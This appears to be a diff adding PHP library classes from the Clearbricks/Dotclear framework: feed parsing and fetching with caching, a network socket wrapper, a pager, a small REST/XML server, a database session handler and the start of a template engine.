$item->TS = strtotime($item->pubdate);
$item->guid = (string) $item->link;
if (!empty($i->attributes('http://www.w3.org/1999/02/22-rdf-syntax-ns#')->about)) {
$item->guid = (string) $i->attributes('http://www.w3.org/1999/02/22-rdf-syntax-ns#')->about;
}
$this->items[] = $item;
}
}
/**
* RSS 2.0 parser
*/
protected function parseRSS(): void
{
$this->feed_type = 'rss ' . $this->xml['version'];
$this->title = (string) $this->xml->channel->title;
$this->link = (string) $this->xml->channel->link;
$this->description = (string) $this->xml->channel->description;
$this->pubdate = (string) $this->xml->channel->pubDate;
$this->generator = (string) $this->xml->channel->generator;
if (empty($this->xml->channel->item)) {
return;
}
foreach ($this->xml->channel->item as $i) {
$item = new stdClass();
$item->title = (string) $i->title;
$item->link = (string) $i->link;
$item->creator = (string) $i->children('http://purl.org/dc/elements/1.1/')->creator;
$item->description = (string) $i->description;
$item->content = (string) $i->children('http://purl.org/rss/1.0/modules/content/')->encoded;
$item->subject = array_merge(
$this->nodes2array($i->children('http://purl.org/dc/elements/1.1/')->subject),
$this->nodes2array($i->category)
);
$item->pubdate = (string) $i->pubDate;
if (!$item->pubdate && !empty($i->children('http://purl.org/dc/elements/1.1/')->date)) {
$item->pubdate = (string) $i->children('http://purl.org/dc/elements/1.1/')->date;
}
$item->TS = strtotime($item->pubdate);
$item->guid = (string) $item->link;
if (!empty($i->guid)) {
$item->guid = (string) $i->guid;
}
$this->items[] = $item;
}
}
/**
* Atom 0.3 parser
*/
protected function parseAtom03(): void
{
$this->feed_type = 'atom 0.3';
$this->title = (string) $this->xml->title;
$this->description = (string) $this->xml->subtitle;
$this->pubdate = (string) $this->xml->modified;
$this->generator = (string) $this->xml->generator;
foreach ($this->xml->link as $link) {
if ($link['rel'] == 'alternate' && ($link['type'] == 'text/html' || $link['type'] == 'application/xhtml+xml')) {
$this->link = (string) $link['href'];
break;
}
}
if (empty($this->xml->entry)) {
return;
}
foreach ($this->xml->entry as $i) {
$item = new stdClass();
foreach ($i->link as $link) {
if ($link['rel'] == 'alternate' && ($link['type'] == 'text/html' || $link['type'] == 'application/xhtml+xml')) {
$item->link = (string) $link['href'];
break;
}
$item->link = (string) $link['href'];
}
$item->title = (string) $i->title;
$item->creator = (string) $i->author->name;
$item->description = (string) $i->summary;
$item->content = (string) $i->content;
$item->subject = $this->nodes2array($i->children('http://purl.org/dc/elements/1.1/')->subject);
$item->pubdate = (string) $i->modified;
$item->TS = strtotime($item->pubdate);
$this->items[] = $item;
}
}
/**
* Atom 1.0 parser
*/
protected function parseAtom10(): void
{
$this->feed_type = 'atom 1.0';
$this->title = (string) $this->xml->title;
$this->description = (string) $this->xml->subtitle;
$this->pubdate = (string) $this->xml->updated;
$this->generator = (string) $this->xml->generator;
foreach ($this->xml->link as $link) {
if ($link['rel'] == 'alternate' && ($link['type'] == 'text/html' || $link['type'] == 'application/xhtml+xml')) {
$this->link = (string) $link['href'];
break;
}
}
if (empty($this->xml->entry)) {
return;
}
foreach ($this->xml->entry as $i) {
$item = new stdClass();
foreach ($i->link as $link) {
if ($link['rel'] == 'alternate' && ($link['type'] == 'text/html' || $link['type'] == 'application/xhtml+xml')) {
$item->link = (string) $link['href'];
break;
}
$item->link = (string) $link['href'];
}
$item->title = (string) $i->title;
$item->creator = (string) $i->author->name;
$item->description = (string) $i->summary;
$item->content = (string) $i->content;
$item->subject = $this->nodes2array($i->children('http://purl.org/dc/elements/1.1/')->subject);
$item->pubdate = !empty($i->published) ? (string) $i->published : (string) $i->updated;
$item->TS = strtotime($item->pubdate);
$this->items[] = $item;
}
}
/**
* SimpleXML to array
*
* Converts a SimpleXMLElement to an array.
*
* @param SimpleXMLElement $node SimpleXML Node
*
* @return array
*/
protected function nodes2array(SimpleXMLElement &$node): array
{
if (empty($node)) {
return [];
}
$res = [];
foreach ($node as $v) {
$res[] = (string) $v;
}
return $res;
}
}

View file

@ -0,0 +1,285 @@
<?php
/**
* @class feedReader
* @brief Feed Reader
*
* Features:
*
* - Reads RSS 1.0 (rdf), RSS 2.0 and Atom feeds.
* - HTTP cache negociation support
* - Cache TTL.
*
* @package Clearbricks
* @subpackage Feeds
*
* @copyright Olivier Meunier & Association Dotclear
* @copyright GPL-2.0-only
*/
class feedReader extends netHttp
{
/**
* User agent
*
* @var string
*/
protected $user_agent = 'Clearbricks Feed Reader/0.2';
/**
* Connection timeout (in seconds)
*
* @var int
*/
protected $timeout = 5;
/**
* HTTP Cache validators
*
* @var array|null
*/
protected $validators = null;
/**
* Cache directory path
*
* @var string|null
*/
protected $cache_dir = null;
/**
* Cache file prefix
*
* @var string
*/
protected $cache_file_prefix = 'cbfeed';
/**
* Cache TTL (must be a negative string value as "-30 minutes")
*
* @var string
*/
protected $cache_ttl = '-30 minutes';
/**
* Constructor.
*
* Does nothing. See {@link parse()} method for URL handling.
*/
public function __construct()
{
parent::__construct('');
}
/**
* Parse Feed
*
* Returns a new feedParser instance for given URL or false if source URL is
* not a valid feed.
*
* @uses feedParser
*
* @param string $url Feed URL
*
* @return feedParser|false
*/
public function parse(string $url)
{
$this->validators = [];
if ($this->cache_dir) {
return $this->withCache($url);
}
if (!$this->getFeed($url)) {
return false;
}
if ($this->getStatus() != '200') {
return false;
}
return new feedParser($this->getContent());
}
/**
* Quick Parse
*
* This static method returns a new {@link feedParser} instance for given URL. If a
* <var>$cache_dir</var> is specified, cache will be activated.
*
* @param string $url Feed URL
* @param string $cache_dir Cache directory
*
* @return feedParser|false
*/
public static function quickParse(string $url, ?string $cache_dir = null)
{
$parser = new self();
if ($cache_dir) {
$parser->setCacheDir($cache_dir);
}
return $parser->parse($url);
}
/**
* Set Cache Directory
*
* Returns true and sets {@link $cache_dir} property if <var>$dir</var> is
* a writable directory. Otherwise, returns false.
*
* @param string $dir Cache directory
*
* @return bool
*/
public function setCacheDir(string $dir): bool
{
$this->cache_dir = null;
if (!empty($dir) && is_dir($dir) && is_writeable($dir)) {
$this->cache_dir = $dir;
return true;
}
return false;
}
/**
* Set Cache TTL
*
* Sets cache TTL. <var>$str</var> is a interval readable by strtotime
* (-3 minutes, -2 hours, etc.)
*
* @param string $str TTL
*/
public function setCacheTTL(string $str): void
{
$str = trim($str);
if (!empty($str)) {
if (substr($str, 0, 1) != '-') {
$str = '-' . $str;
}
$this->cache_ttl = $str;
}
}
/**
* Feed Content
*
* Returns feed content for given URL.
*
* @param string $url Feed URL
*
* @return string|boolean
*/
protected function getFeed(string $url)
{
$ssl = false;
$host = '';
$port = 0;
$path = '';
$user = '';
$pass = '';
if (!self::readURL($url, $ssl, $host, $port, $path, $user, $pass)) {
return false;
}
$this->setHost($host, $port);
$this->useSSL($ssl);
$this->setAuthorization($user, $pass);
return $this->get($path);
}
/**
* Cache content
*
* Returns feedParser object from cache if present or write it to cache and
* returns result.
*
* @param string $url Feed URL
*
* @return feedParser|false
*/
protected function withCache(string $url)
{
$url_md5 = md5($url);
$cached_file = sprintf(
'%s/%s/%s/%s/%s.php',
$this->cache_dir,
$this->cache_file_prefix,
substr($url_md5, 0, 2),
substr($url_md5, 2, 2),
$url_md5
);
$may_use_cached = false;
if (@file_exists($cached_file)) {
$may_use_cached = true;
$timestamp = @filemtime($cached_file);
if ($timestamp > strtotime($this->cache_ttl)) {
# Direct cache
return unserialize(file_get_contents($cached_file));
}
$this->validators['IfModifiedSince'] = gmdate('D, d M Y H:i:s', $timestamp) . ' GMT';
}
if (!$this->getFeed($url)) {
if ($may_use_cached) {
# connection failed - fetched from cache
return unserialize(file_get_contents($cached_file));
}
return false;
}
switch ($this->getStatus()) {
case '304':
@files::touch($cached_file);
return unserialize(file_get_contents($cached_file));
case '200':
$feed = new feedParser($this->getContent());
try {
files::makeDir(dirname($cached_file), true);
} catch (Exception $e) {
return $feed;
}
if ($fp = @fopen($cached_file, 'wb')) {
fwrite($fp, serialize($feed));
fclose($fp);
files::inheritChmod($cached_file);
}
return $feed;
}
return false;
}
/**
* Build request
*
* Adds HTTP cache headers to common headers.
*
* {@inheritdoc}
*/
protected function buildRequest(): array
{
$headers = parent::buildRequest();
# Cache validators
if (!empty($this->validators)) {
if (isset($this->validators['IfModifiedSince'])) {
$headers[] = 'If-Modified-Since: ' . $this->validators['IfModifiedSince'];
}
if (isset($this->validators['IfNoneMatch'])) {
$headers[] = '';
}
}
return $headers;
}
}

File diff suppressed because it is too large Load diff

File diff suppressed because it is too large Load diff

View file

@ -0,0 +1,359 @@
<?php
/**
* @class netSocket
* @brief Network base
*
* This class handles network socket through an iterator.
*
* @package Clearbricks
* @subpackage Network
*
* @copyright Olivier Meunier & Association Dotclear
* @copyright GPL-2.0-only
*/
class netSocket
{
/**
* Server host
*
* @var string
*/
protected $_host;
/**
* Server port
*
* @var int
*/
protected $_port;
/**
* Server transport
*
* @var string
*/
protected $_transport = '';
/**
* Connection timeout
*
* @var int
*/
protected $_timeout;
/**
* Resource handler
*
* @var resource|null
*/
protected $_handle;
/**
* Class constructor
*
* @param string $host Server host
* @param int $port Server port
* @param int $timeout Connection timeout
*/
public function __construct(string $host, int $port, int $timeout = 10)
{
$this->_host = $host;
$this->_port = abs($port);
$this->_timeout = abs($timeout);
}
/**
* Object destructor
*
* Calls {@link close()} method
*/
public function __destruct()
{
$this->close();
}
/**
* Get / Set host
*
* If <var>$host</var> is set, set {@link $_host} and returns true.
* Otherwise, returns {@link $_host} value.
*
* @param string $host Server host
*
* @return string|true
*/
public function host(?string $host = null)
{
if ($host) {
$this->_host = $host;
return true;
}
return $this->_host;
}
/**
* Get / Set port
*
* If <var>$port</var> is set, set {@link $_port} and returns true.
* Otherwise, returns {@link $_port} value.
*
* @param int $port Server port
*
* @return int|true
*/
public function port(?int $port = null)
{
if ($port) {
$this->_port = abs($port);
return true;
}
return $this->_port;
}
/**
* Get / Set timeout
*
* If <var>$timeout</var> is set, set {@link $_timeout} and returns true.
* Otherwise, returns {@link $_timeout} value.
*
* @param int $timeout Connection timeout
*
* @return int|true
*/
public function timeout(?int $timeout = null)
{
if ($timeout) {
$this->_timeout = abs($timeout);
return true;
}
return $this->_timeout;
}
/**
* Set blocking
*
* Sets blocking or non-blocking mode on the socket.
*
* @param bool $block
*
* @return boolean
*/
public function setBlocking(bool $block): bool
{
if (!$this->isOpen()) {
return false;
}
return stream_set_blocking($this->_handle, $block);
}
/**
* Open connection.
*
* Opens socket connection and Returns an object of type {@link netSocketIterator}
* which can be iterate with a simple foreach loop.
*
* @return netSocketIterator|bool
*/
public function open()
{
$handle = @fsockopen($this->_transport . $this->_host, $this->_port, $errno, $errstr, $this->_timeout);
if (!$handle) {
throw new Exception('Socket error: ' . $errstr . ' (' . $errno . ')');
}
$this->_handle = $handle;
return $this->iterator();
}
/**
* Closes socket connection
*/
public function close(): void
{
if ($this->isOpen()) {
fclose($this->_handle);
$this->_handle = null;
}
}
/**
* Send data
*
* Sends data to current socket and returns an object of type
* {@link netSocketIterator} which can be iterate with a simple foreach loop.
*
* <var>$data</var> can be a string or an array of lines.
*
* Example:
*
* <code>
* <?php
* $s = new netSocket('www.google.com',80,2);
* $s->open();
* $data = [
* 'GET / HTTP/1.0'
* ];
* foreach($s->write($data) as $v) {
* echo $v."\n";
* }
* $s->close();
* ?>
* </code>
*
* @param string|array $data Data to send
*
* @return netSocketIterator|false
*/
public function write($data)
{
if (!$this->isOpen()) {
return false;
}
if (is_array($data)) {
$data = implode("\r\n", $data) . "\r\n\r\n";
}
fwrite($this->_handle, $data);
return $this->iterator();
}
/**
* Flush buffer
*
* Flushes socket write buffer.
*/
public function flush()
{
if (!$this->isOpen()) {
return false;
}
fflush($this->_handle);
}
/**
* Iterator
*
* @return netSocketIterator|false
*/
protected function iterator()
{
if (!$this->isOpen()) {
return false;
}
return new netSocketIterator($this->_handle);
}
/**
* Is open
*
* Returns true if socket connection is open.
*
* @return bool
*/
public function isOpen()
{
return is_resource($this->_handle);
}
}
/**
* @class netSocketIterator
* @brief Network socket iterator
*
* This class offers an iterator for network operations made with
* {@link netSocket}.
*
* @see netSocket::write()
*/
class netSocketIterator implements Iterator
{
/**
* Socket resource handler
*
* @var resource
*/
protected $_handle;
/**
* Current index position
*
* @var int
*/
protected $_index;
/**
* Constructor
*
* @param resource $handle Socket resource handler
*/
public function __construct(&$handle)
{
if (!is_resource($handle)) {
throw new Exception('Handle is not a resource');
}
$this->_handle = &$handle;
$this->_index = 0;
}
/* Iterator methods
--------------------------------------------------- */
/**
* Rewind
*/
#[\ReturnTypeWillChange]
public function rewind()
{
# Nothing
}
/**
* Valid
*
* @return bool True if EOF of handler
*/
public function valid(): bool
{
return !feof($this->_handle);
}
/**
* Move index forward
*/
#[\ReturnTypeWillChange]
public function next()
{
$this->_index++;
}
/**
* Current index
*
* @return int Current index
*/
public function key(): int
{
return $this->_index;
}
/**
* Current value
*
* @return string Current socket response line
*/
#[\ReturnTypeWillChange]
public function current()
{
return fgets($this->_handle, 4096);
}
}

View file

@ -0,0 +1,311 @@
<?php
/**
* @class pager
* @brief (x)HTML Pager
*
* This class implements a pager helper to browse any type of results.
*
* @package Clearbricks
* @subpackage Pager
*
* @copyright Olivier Meunier & Association Dotclear
* @copyright GPL-2.0-only
*/
class pager
{
/**
* Current page index
*
* @var int
*/
protected $env;
/**
* Total number of elements
*
* @var int
*/
protected $nb_elements;
/**
* Number of elements per page
*
* @var int
*/
protected $nb_per_page;
/**
* Number of pages per group
*
* @var int
*/
protected $nb_pages_per_group;
/**
* Total number of pages
*
* @var int
*/
protected $nb_pages;
/**
* Total number of grourps
*
* @var int
*/
protected $nb_groups;
/**
* Current group index
*
* @var int
*/
protected $env_group;
/**
* First page index of current group
*
* @var int
*/
protected $index_group_start;
/**
* Last page index of current group
*
* @var int
*/
protected $index_group_end;
/**
* Page URI
*
* @var string|null
*/
protected $page_url = null;
/**
* First element index of current page
*
* @var int
*/
public $index_start;
/**
* Last element index of current page
*
* @var int
*/
public $index_end;
/**
* Base URI
*
* @var string|null
*/
public $base_url = null;
/**
* GET param name for current page
*
* @var string
*/
public $var_page = 'page';
/**
* Current page format (HTML)
*
* @var string
*/
public $html_cur_page = '<strong>%s</strong>';
/**
* Link separator
*
* @var string
*/
public $html_link_sep = '-';
/**
* Previous HTML code
*
* @var string
*/
public $html_prev = '&#171;prev.';
/**
* Next HTML code
*
* @var string
*/
public $html_next = 'next&#187;';
/**
* Next group HTML code
*
* @var string
*/
public $html_prev_grp = '...';
/**
* Previous group HTML code
*
* @var string
*/
public $html_next_grp = '...';
/**
* Constructor
*
* @param int $env Current page index
* @param int $nb_elements Total number of elements
* @param int $nb_per_page Number of items per page
* @param int $nb_pages_per_group Number of pages per group
*/
public function __construct(int $env, int $nb_elements, int $nb_per_page = 10, int $nb_pages_per_group = 10)
{
$this->env = abs($env);
$this->nb_elements = abs($nb_elements);
$this->nb_per_page = abs($nb_per_page);
$this->nb_pages_per_group = abs($nb_pages_per_group);
// Pages count
$this->nb_pages = (int) ceil($this->nb_elements / $this->nb_per_page);
// Fix env value
if ($this->env > $this->nb_pages || $this->env < 1) {
$this->env = 1;
}
// Groups count
$this->nb_groups = (int) ceil($this->nb_pages / $this->nb_pages_per_group);
// Page first element index
$this->index_start = ($this->env - 1) * $this->nb_per_page;
// Page last element index
$this->index_end = $this->index_start + $this->nb_per_page - 1;
if ($this->index_end >= $this->nb_elements) {
$this->index_end = $this->nb_elements - 1;
}
// Current group
$this->env_group = (int) ceil($this->env / $this->nb_pages_per_group);
// Group first page index
$this->index_group_start = ($this->env_group - 1) * $this->nb_pages_per_group + 1;
// Group last page index
$this->index_group_end = $this->index_group_start + $this->nb_pages_per_group - 1;
if ($this->index_group_end > $this->nb_pages) {
$this->index_group_end = $this->nb_pages;
}
}
/**
* Pager Links
*
* Returns pager links
*
* @return string
*/
public function getLinks(): string
{
$htmlLinks = '';
$htmlPrev = '';
$htmlNext = '';
$htmlPrevGrp = '';
$htmlNextGrp = '';
$this->setURL();
for ($i = $this->index_group_start; $i <= $this->index_group_end; $i++) {
if ($i === $this->env) {
$htmlLinks .= sprintf($this->html_cur_page, $i);
} else {
$htmlLinks .= '<a href="' . sprintf($this->page_url, $i) . '">' . $i . '</a>';
}
if ($i !== $this->index_group_end) {
$htmlLinks .= $this->html_link_sep;
}
}
# Previous page
if ($this->env !== 1) {
$htmlPrev = '<a href="' . sprintf($this->page_url, $this->env - 1) . '">' . $this->html_prev . '</a>&nbsp;';
}
# Next page
if ($this->env !== $this->nb_pages) {
$htmlNext = '&nbsp;<a href="' . sprintf($this->page_url, $this->env + 1) . '">' . $this->html_next . '</a>';
}
# Previous group
if ($this->env_group != 1) {
$htmlPrevGrp = '&nbsp;<a href="' . sprintf($this->page_url, $this->index_group_start - $this->nb_pages_per_group) . '">' . $this->html_prev_grp . '</a>&nbsp;';
}
# Next group
if ($this->env_group != $this->nb_groups) {
$htmlNextGrp = '&nbsp;<a href="' . sprintf($this->page_url, $this->index_group_end + 1) . '">' . $this->html_next_grp . '</a>&nbsp;';
}
$res = $htmlPrev .
$htmlPrevGrp .
$htmlLinks .
$htmlNextGrp .
$htmlNext;
return $this->nb_elements > 0 ? $res : '';
}
/**
* Sets the page URI
*/
protected function setURL()
{
if ($this->base_url !== null) {
$this->page_url = $this->base_url;
return;
}
$url = (string) $_SERVER['REQUEST_URI'];
# Removing session information
if (session_id()) {
$url = preg_replace('/' . preg_quote(session_name() . '=' . session_id(), '/') . '([&]?)/', '', $url);
$url = preg_replace('/&$/', '', $url);
}
# Escape page_url for sprintf
$url = str_replace('%', '%%', $url);
# Changing page ref
if (preg_match('/[?&]' . $this->var_page . '=\d+/', $url)) {
$url = preg_replace('/([?&]' . $this->var_page . '=)\d+/', '$1%1$d', $url);
} elseif (preg_match('/[?]/', $url)) {
$url .= '&' . $this->var_page . '=%1$d';
} else {
$url .= '?' . $this->var_page . '=%1$d';
}
$this->page_url = html::escapeHTML($url);
}
public function debug()
{
return
'Elements per page ........... ' . $this->nb_per_page . "\n" .
'Pages per group.............. ' . $this->nb_pages_per_group . "\n" .
'Elements count .............. ' . $this->nb_elements . "\n" .
'Pages ....................... ' . $this->nb_pages . "\n" .
'Groups ...................... ' . $this->nb_groups . "\n\n" .
'Current page .................' . $this->env . "\n" .
'Start index ................. ' . $this->index_start . "\n" .
'End index ................... ' . $this->index_end . "\n" .
'Current group ............... ' . $this->env_group . "\n" .
'Group first page index ...... ' . $this->index_group_start . "\n" .
'Group last page index ....... ' . $this->index_group_end;
}
}

View file

@ -0,0 +1,311 @@
<?php
/**
* @class restServer
* @brief REST Server
*
* A very simple REST server implementation
*
* @package Clearbricks
* @subpackage Rest
*
* @copyright Olivier Meunier & Association Dotclear
* @copyright GPL-2.0-only
*/
class restServer
{
/**
* Server response (XML)
*
* @var xmlTag
*/
public $rsp;
/**
* Server's functions
*
* @var array of array [callback, xml?]
*/
public $functions = [];
/**
* Constructor
*/
public function __construct()
{
$this->rsp = new xmlTag('rsp');
}
/**
* Add Function
*
* This adds a new function to the server. <var>$callback</var> should be
* a valid PHP callback. Callback function takes two arguments: GET and
* POST values.
*
* @param string $name Function name
* @param callable|array $callback Callback function
*/
public function addFunction(string $name, $callback): void
{
if (is_callable($callback)) {
$this->functions[$name] = $callback;
}
}
/**
* Call Function
*
* This method calls callback named <var>$name</var>.
*
* @param string $name Function name
* @param array $get GET values
* @param array $post POST values
*
* @return mixed
*/
protected function callFunction(string $name, array $get, array $post)
{
if (isset($this->functions[$name])) {
return call_user_func($this->functions[$name], $get, $post);
}
}
/**
* Main server
*
* This method creates the main server.
*
* @param string $encoding Server charset
*
* @return bool
*/
public function serve(string $encoding = 'UTF-8'): bool
{
$get = $_GET ?: [];
$post = $_POST ?: [];
if (!isset($_REQUEST['f'])) {
$this->rsp->status = 'failed';
$this->rsp->message('No function given');
$this->getXML($encoding);
return false;
}
if (!isset($this->functions[$_REQUEST['f']])) {
$this->rsp->status = 'failed';
$this->rsp->message('Function does not exist');
$this->getXML($encoding);
return false;
}
try {
$res = $this->callFunction($_REQUEST['f'], $get, $post);
} catch (Exception $e) {
$this->rsp->status = 'failed';
$this->rsp->message($e->getMessage());
$this->getXML($encoding);
return false;
}
$this->rsp->status = 'ok';
$this->rsp->insertNode($res);
$this->getXML($encoding);
return true;
}
/**
* Stream the XML data (header and body)
*
* @param string $encoding The encoding
*/
private function getXML($encoding = 'UTF-8')
{
header('Content-Type: text/xml; charset=' . $encoding);
echo $this->rsp->toXML(true, $encoding);
}
}
/**
* @class xmlTag
*
* XML Tree
*
* @package Clearbricks
* @subpackage XML
*/
class xmlTag
{
/**
* XML tag name
*
* @var mixed
*/
private $_name;
/**
* XML tag attributes
*
* @var array
*/
private $_attr = [];
/**
* XML tag nodes (childs)
*
* @var array
*/
private $_nodes = [];
/**
* Constructor
*
* Creates the root XML tag named <var>$name</var>. If content is given,
* it will be appended to root tag with {@link insertNode()}
*
* @param string $name Tag name
* @param mixed $content Tag content
*/
public function __construct(?string $name = null, $content = null)
{
$this->_name = $name;
if ($content !== null) {
$this->insertNode($content);
}
}
/**
* Add Attribute
*
* Magic __set method to add an attribute.
*
* @param string $name Attribute name
* @param mixed $value Attribute value
*
* @see insertAttr()
*/
public function __set(string $name, mixed $value): void
{
$this->insertAttr($name, $value);
}
/**
* Add a tag
*
* This magic __call method appends a tag to XML tree.
*
* @param string $name Tag name
* @param array $args Function arguments, the first one would be tag content
*/
public function __call(string $name, array $args)
{
if (!preg_match('#^[a-z_]#', $name)) {
return false;
}
if (!isset($args[0])) {
$args[0] = null;
}
$this->insertNode(new self($name, $args[0]));
}
/**
* Add CDATA
*
* Appends CDATA to current tag.
*
* @param string $value Tag CDATA content
*/
public function CDATA(string $value): void
{
$this->insertNode($value);
}
/**
* Add Attribute
*
* This method adds an attribute to current tag.
*
* @param string $name Attribute name
* @param mixed $value Attribute value
*
* @see insertAttr()
*/
public function insertAttr(string $name, mixed $value): void
{
$this->_attr[$name] = $value;
}
/**
* Insert Node
*
* This method adds a new XML node. Node could be a instance of xmlTag, an
* array of valid values, a boolean or a string.
*
* @param xmlTag|array|bool|string $node Node value
*/
public function insertNode($node = null): void
{
if ($node instanceof self) {
$this->_nodes[] = $node;
} elseif (is_array($node)) {
$child = new self(null);
foreach ($node as $tag => $n) {
$child->insertNode(new self($tag, $n));
}
$this->_nodes[] = $child;
} elseif (is_bool($node)) {
$this->_nodes[] = $node ? '1' : '0';
} else {
$this->_nodes[] = (string) $node;
}
}
/**
* XML Result
*
* Returns a string with XML content.
*
* @param bool $prolog Append prolog to result
* @param string $encoding Result charset
*
* @return string
*/
public function toXML(bool $prolog = false, string $encoding = 'UTF-8'): string
{
if ($this->_name && count($this->_nodes) > 0) {
$format = '<%1$s%2$s>%3$s</%1$s>';
} elseif ($this->_name && count($this->_nodes) === 0) {
$format = '<%1$s%2$s/>';
} else {
$format = '%3$s';
}
$res = $attr = $content = '';
foreach ($this->_attr as $k => $v) {
$attr .= ' ' . $k . '="' . htmlspecialchars((string) $v, ENT_QUOTES, $encoding) . '"';
}
foreach ($this->_nodes as $node) {
if ($node instanceof self) {
$content .= $node->toXML();
} else {
$content .= htmlspecialchars((string) $node, ENT_QUOTES, $encoding);
}
}
$res = sprintf($format, $this->_name, $attr, $content);
if ($prolog && $this->_name) {
$res = '<?xml version="1.0" encoding="' . $encoding . '" ?>' . "\n" . $res;
}
return $res;
}
}

View file

@ -0,0 +1,342 @@
<?php
/**
* @class sessionDB
* @brief Database Session Handler
*
* This class allows you to handle session data in database.
*
* @package Clearbricks
* @subpackage Session
*
* @copyright Olivier Meunier & Association Dotclear
* @copyright GPL-2.0-only
*/
class sessionDB
{
/**
* dbLayer handler
*
* @var dbLayer
*/
private $con;
/**
* Table name
*
* @var string
*/
private $table;
/**
* Cookie name
*
* @var string
*/
private $cookie_name;
/**
* Cookie path
*
* @var string|null
*/
private $cookie_path;
/**
* Cookie domain
*
* @var string|null
*/
private $cookie_domain;
/**
* Secure cookie
*
* @var bool
*/
private $cookie_secure;
/**
* TTL (must be a negative duration as '-120 minutes')
*
* @var string
*/
private $ttl = '-120 minutes';
/**
* Transient session
*
* No DB optimize on session destruction if true
*
* @var bool
*/
private $transient = false;
/**
* Constructor
*
* This method creates an instance of sessionDB class.
*
* @param dbLayer $con dbLayer inherited database instance
* @param string $table Table name
* @param string $cookie_name Session cookie name
* @param string $cookie_path Session cookie path
* @param string $cookie_domain Session cookie domaine
* @param bool $cookie_secure Session cookie is available only through SSL if true
* @param string $ttl TTL (default -120 minutes)
* @param bool $transient Transient session : no db optimize on session destruction if true
*/
public function __construct(
dbLayer $con,
string $table,
string $cookie_name,
?string $cookie_path = null,
?string $cookie_domain = null,
bool $cookie_secure = false,
?string $ttl = null,
bool $transient = false
) {
$this->con = &$con;
$this->table = $table;
$this->cookie_name = $cookie_name;
$this->cookie_path = is_null($cookie_path) ? '/' : $cookie_path;
$this->cookie_domain = $cookie_domain;
$this->cookie_secure = $cookie_secure;
if (!is_null($ttl)) {
$this->ttl = $ttl;
}
$this->transient = $transient;
if (function_exists('ini_set')) {
@ini_set('session.use_cookies', '1');
@ini_set('session.use_only_cookies', '1');
@ini_set('url_rewriter.tags', '');
@ini_set('session.use_trans_sid', '0');
@ini_set('session.cookie_path', $this->cookie_path);
@ini_set('session.cookie_domain', $this->cookie_domain);
@ini_set('session.cookie_secure', (string) $this->cookie_secure);
}
}
/**
* Destructor
*
* This method calls session_write_close PHP function.
*/
public function __destruct()
{
if (isset($_SESSION)) {
session_write_close();
}
}
/**
* Session Start
*/
public function start(): void
{
session_set_save_handler(
[$this, '_open'],
[$this, '_close'],
[$this, '_read'],
[$this, '_write'],
[$this, '_destroy'],
[$this, '_gc']
);
if (isset($_SESSION) && session_name() !== $this->cookie_name) {
$this->destroy();
}
if (!isset($_COOKIE[$this->cookie_name])) {
session_id(sha1(uniqid((string) rand(), true)));
}
session_name($this->cookie_name);
session_start();
}
/**
* Session Destroy
*
* This method destroies all session data and removes cookie.
*/
public function destroy(): void
{
$_SESSION = [];
session_unset();
session_destroy();
call_user_func_array('setcookie', $this->getCookieParameters(false, -600));
}
/**
* Session Transient
*
* This method set the transient flag of the session
*
* @param bool $transient Session transient flag
*/
public function setTransientSession(bool $transient = false): void
{
$this->transient = $transient;
}
/**
* Session Cookie
*
* This method returns an array of all session cookie parameters.
*
* @param mixed $value Cookie value
* @param int $expire Cookie expiration timestamp
*/
public function getCookieParameters($value = null, int $expire = 0)
{
return [
(string) session_name(),
(string) $value,
$expire,
(string) $this->cookie_path,
(string) $this->cookie_domain,
(bool) $this->cookie_secure,
];
}
/**
* Session handler callback called on session open
*
* @param string $path The save path
* @param string $name The session name
*
* @return bool
*/
public function _open(string $path, string $name): bool
{
return true;
}
/**
* Session handler callback called on session close
*
* @return bool ( description_of_the_return_value )
*/
public function _close(): bool
{
$this->_gc();
return true;
}
/**
* Session handler callback called on session read
*
* @param string $ses_id The session identifier
*
* @return string
*/
public function _read(string $ses_id): string
{
$strReq = 'SELECT ses_value FROM ' . $this->table . ' ' .
'WHERE ses_id = \'' . $this->checkID($ses_id) . '\' ';
$rs = $this->con->select($strReq);
if ($rs->isEmpty()) {
return '';
}
return $rs->f('ses_value');
}
/**
* Session handler callback called on session write
*
* @param string $ses_id The session identifier
* @param string $data The data
*
* @return bool
*/
public function _write(string $ses_id, string $data): bool
{
$strReq = 'SELECT ses_id ' .
'FROM ' . $this->table . ' ' .
"WHERE ses_id = '" . $this->checkID($ses_id) . "' ";
$rs = $this->con->select($strReq);
$cur = $this->con->openCursor($this->table);
$cur->ses_time = (string) time();
$cur->ses_value = (string) $data;
if (!$rs->isEmpty()) {
$cur->update("WHERE ses_id = '" . $this->checkID($ses_id) . "' ");
} else {
$cur->ses_id = $this->checkID($ses_id);
$cur->ses_start = (string) time();
$cur->insert();
}
return true;
}
/**
* Session handler callback called on session destroy
*
* @param string $ses_id The session identifier
*
* @return bool
*/
public function _destroy(string $ses_id): bool
{
$strReq = 'DELETE FROM ' . $this->table . ' ' .
'WHERE ses_id = \'' . $this->checkID($ses_id) . '\' ';
$this->con->execute($strReq);
if (!$this->transient) {
$this->_optimize();
}
return true;
}
/**
* Session handler callback called on session garbage collect
*
* @return bool
*/
public function _gc(): bool
{
$ses_life = strtotime($this->ttl);
$strReq = 'DELETE FROM ' . $this->table . ' ' .
'WHERE ses_time < ' . $ses_life . ' ';
$this->con->execute($strReq);
if ($this->con->changes() > 0) {
$this->_optimize();
}
return true;
}
/**
* Optimize the session table
*/
private function _optimize(): void
{
$this->con->vacuum($this->table);
}
/**
* Check a session id
*
* @param string $id The identifier
*
* @return string
*/
private function checkID(string $id)
{
return preg_match('/^([0-9a-f]{40})$/i', $id) ? $id : '';
}
}

View file

@ -0,0 +1,770 @@
<?php
/**
* @class template
*
* @package Clearbricks
* @subpackage Template
*
* @copyright Olivier Meunier & Association Dotclear
* @copyright GPL-2.0-only
*/
class template
{
// Constants
public const CACHE_FOLDER = 'cbtpl';
/**
* Instance self name
*
* Will be use in compiled template to call instance method or use instance properties
*
* @var string
*/
private $self_name;
/**
* Use cache for compiled template files
*
* @var bool
*/
public $use_cache = true;
/**
* Stack of node blocks callbacks
*
* @var array
*/
protected $blocks = [];
/**
* Stack of node values callbacks
*
* @var array
*/
protected $values = [];
/**
* Remove PHP from template file
*
* @var bool
*/
protected $remove_php = true;
/**
* Unknown node value callback
*
* @var callable|array|null
*/
protected $unknown_value_handler = null;
/**
* Unknown node block callback
*
* @var callable|array|null
*/
protected $unknown_block_handler = null;
/**
* Stack of template file paths
*
* @var array
*/
protected $tpl_path = [];
/**
* Cache directory
*
* @var string
*/
protected $cache_dir;
/**
* Parent file
*
* May be a filename or "__parent__"
*
* @var string
*/
protected $parent_file;
/**
